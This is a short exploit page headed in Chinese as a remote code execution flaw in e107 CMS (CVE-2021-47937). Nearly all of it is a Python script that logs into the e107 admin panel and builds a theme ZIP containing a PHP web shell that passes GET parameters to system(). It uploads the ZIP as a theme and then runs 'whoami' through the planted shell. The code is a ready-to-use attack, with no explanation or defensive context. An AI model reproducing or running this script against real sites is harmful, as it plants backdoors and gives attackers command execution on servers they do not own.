CVE-2021-47937 e107 CMS远程代码执行漏洞

import requests import zipfile import io # Target configuration target_url = "http://target/e107/e107_admin/theme.php" login_url = "http://target/e107/e107_admin/admin.php" cmd_url = "http://target/e107/e107_themes/malicious_theme/payload.php" session = requests.Session() # Step 1: Login as a user with theme installation permissions login_data = { "username": "attacker", "userpass": "password", "authsubmit": "Login" } session.post(login_url, data=login_data) # Step 2: Create a malicious theme ZIP package zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # Add a dummy theme.xml to pass basic validation zip_file.writestr("theme.xml", "<theme><name>exploit</name></theme>") # Add the webshell payload zip_file.writestr("payload.php", "<?php system($_GET['cmd']); ?>") zip_buffer.seek(0) # Step 3: Upload the malicious theme files = { "userfile[theme]": ("exploit_theme.zip", zip_buffer, "application/zip") } upload_data = { "upload": "Upload" } response = session.post(target_url, files=files, data=upload_data) # Step 4: Execute command if response.status_code == 200: cmd_response = session.get(f"{cmd_url}?cmd=whoami") print("Command output:", cmd_response.text) else: print("Upload failed")